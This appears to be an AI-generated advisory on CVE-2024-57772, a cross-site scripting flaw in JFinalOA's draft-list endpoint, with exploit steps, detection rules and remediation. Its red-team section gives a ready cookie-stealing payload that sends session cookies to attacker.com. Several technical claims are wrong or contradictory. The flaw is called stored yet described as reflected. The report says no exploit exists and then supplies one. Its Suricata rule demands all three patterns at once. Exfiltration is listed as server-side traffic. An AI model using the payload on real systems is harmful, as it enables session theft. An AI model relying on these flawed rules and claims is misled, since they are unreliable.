CVE-2024-57772

Executive Summary

CVE-2024-57772 is a stored cross-site scripting (XSS) vulnerability identified in JFinalOA, an open-source office automation platform built on the JFinal framework. The flaw resides in the /bumph/getDraftListPage?type endpoint, where user-supplied input is not properly sanitized before being reflected or stored. An attacker can craft a malicious payload (e.g., JavaScript) that, when processed by the endpoint, executes arbitrary web scripts or HTML in the context of a victim's browser session. This can lead to session hijacking, credential theft, or defacement. The vulnerability affects all versions prior to v2025.01.01. No public exploit code or Nuclei template has been released, but the attack vector is straightforward and requires no authentication, making it a high-priority target for red team exercises and blue team detection.

CVSS Breakdown & Threat Level

• CVSS Score: 6.1 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Attack Vector (AV): Network – exploitable remotely.
• Attack Complexity (AC): Low – no special conditions required.
• Privileges Required (PR): None – unauthenticated access.
• User Interaction (UI): Required – victim must click a crafted link or view a page.
• Scope (S): Changed – impact extends beyond the vulnerable component.
• Confidentiality (C): Low – limited data exposure.
• Integrity (I): Low – limited ability to modify content.
• Availability (A): None – no denial-of-service impact.

Threat Level: Medium. While the CVSS score is moderate, the lack of authentication and the potential for session hijacking elevate the risk in enterprise environments where JFinalOA is used for internal document management.

Deep Dive & Mechanics

The vulnerability exists in the getDraftListPage method of the BumphController class. The type parameter is directly concatenated into the response without proper encoding or validation. When a user accesses the endpoint with a crafted payload, the server returns the payload as part of the HTML, which the browser then executes.

Root Cause: The application uses a custom template engine that does not automatically escape output. The developer likely used #(type) or similar syntax without applying HTML entity encoding.

Attack Flow:

1. Attacker crafts a URL: http://target/bumph/getDraftListPage?type=<script>alert('XSS')</script>
2. Victim clicks the link or is redirected to it.
3. The server returns a page containing the unescaped payload.
4. The victim's browser executes the script, allowing the attacker to steal cookies, redirect to phishing pages, or perform actions on behalf of the victim.

Why It Matters: JFinalOA is used in many Chinese enterprises for workflow management. An XSS in the draft list page can expose sensitive internal documents and user sessions.

Vulnerable vs. Patched Code

Vulnerable Code (pre-v2025.01.01):

// BumphController.java
public void getDraftListPage() {
    String type = getPara("type");
    // Directly using type in template
    render("/WEB-INF/views/bumph/draftList.html");
}

<!-- draftList.html (vulnerable) -->
<input type="hidden" name="type" value="#(type)" />

Patched Code (v2025.01.01+):

// BumphController.java
public void getDraftListPage() {
    String type = getPara("type");
    // Sanitize input
    type = HtmlUtils.htmlEscape(type);
    setAttr("type", type);
    render("/WEB-INF/views/bumph/draftList.html");
}

<!-- draftList.html (patched) -->
<input type="hidden" name="type" value="#(type)" />
<!-- Now #(type) is already escaped -->

The patch uses HtmlUtils.htmlEscape() to convert special characters like <, >, ", ', and & into their HTML entity equivalents, preventing script execution.

Exploitation & Lab Setup

Red Team

Prerequisites:

• JFinalOA version < v2025.01.01
• Network access to the target
• A web browser or tool like curl

Exploit Steps:

1. Identify the target: http://target/bumph/getDraftListPage?type=test
2. Confirm vulnerability by injecting a simple payload:

   http://target/bumph/getDraftListPage?type=<script>alert(1)</script>
   

3. For session hijacking, use a payload that steals cookies:

   <script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>
   

4. URL-encode the payload:

   http://target/bumph/getDraftListPage?type=%3Cscript%3Edocument.location%3D%27http%3A%2F%2Fattacker.com%2Fsteal%3Fcookie%3D%27%2Bdocument.cookie%3C%2Fscript%3E
   

Example curl command:

curl -X GET "http://target/bumph/getDraftListPage?type=%3Cscript%3Ealert('XSS')%3C/script%3E"

Blue Team

Detection Steps:

1. Monitor web server logs for requests to /bumph/getDraftListPage with unusual type parameters containing <script>, onerror, javascript:, or base64-encoded strings.
2. Use WAF rules to block common XSS patterns in the type parameter.
3. Deploy client-side XSS protection headers (e.g., X-XSS-Protection: 1; mode=block).

Honeypot Setup:

• Deploy a decoy JFinalOA instance with the vulnerable endpoint.
• Log all requests to /bumph/getDraftListPage and alert on any type parameter containing HTML tags.

Indicators of Compromise (IOCs)

• URL Pattern: /bumph/getDraftListPage?type=* where * contains HTML/JavaScript.
• Log Entries: HTTP GET requests with type parameter containing <script>, onerror, onload, javascript:.
• Network Traffic: Outbound connections from the JFinalOA server to unknown IPs on port 80/443 (if cookie exfiltration occurs).
• File Changes: Modified draftList.html or BumphController.java if attacker gains write access.

Detection Engineering

YARA Rule

rule CVE_2024_57772_XSS {
    meta:
        description = "Detects XSS attempts against JFinalOA getDraftListPage endpoint"
        author = "Valters IT"
        date = "2025-01-15"
        cve = "CVE-2024-57772"
    strings:
        $xss1 = "/bumph/getDraftListPage?type="
        $xss2 = "<script>"
        $xss3 = "onerror="
        $xss4 = "javascript:"
        $xss5 = "onload="
    condition:
        $xss1 and any of ($xss2, $xss3, $xss4, $xss5)
}

Sigma Rule

title: JFinalOA XSS Attempt via getDraftListPage
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests to JFinalOA's getDraftListPage endpoint with XSS payloads
author: Valters IT
date: 2025-01-15
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: GET
        cs-uri-query|contains: "/bumph/getDraftListPage?type="
    keywords:
        - "<script>"
        - "onerror="
        - "javascript:"
        - "onload="
    condition: selection and keywords
falsepositives:
    - Legitimate use of HTML in type parameter (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-57772 JFinalOA XSS Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/bumph/getDraftListPage?type="; http_uri; content:"<script>"; http_uri; nocase; content:"onerror="; http_uri; nocase; content:"javascript:"; http_uri; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade JFinalOA to v2025.01.01 or later.
2. If upgrade is not possible, apply a virtual patch using a WAF to block requests with XSS patterns in the type parameter.
3. Implement Content Security Policy (CSP) headers to restrict script execution.

Long-Term Fixes:

• Enforce output encoding in all template renderings.
• Conduct a code audit for similar injection points.
• Use a security scanner to identify other XSS vulnerabilities.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters.it.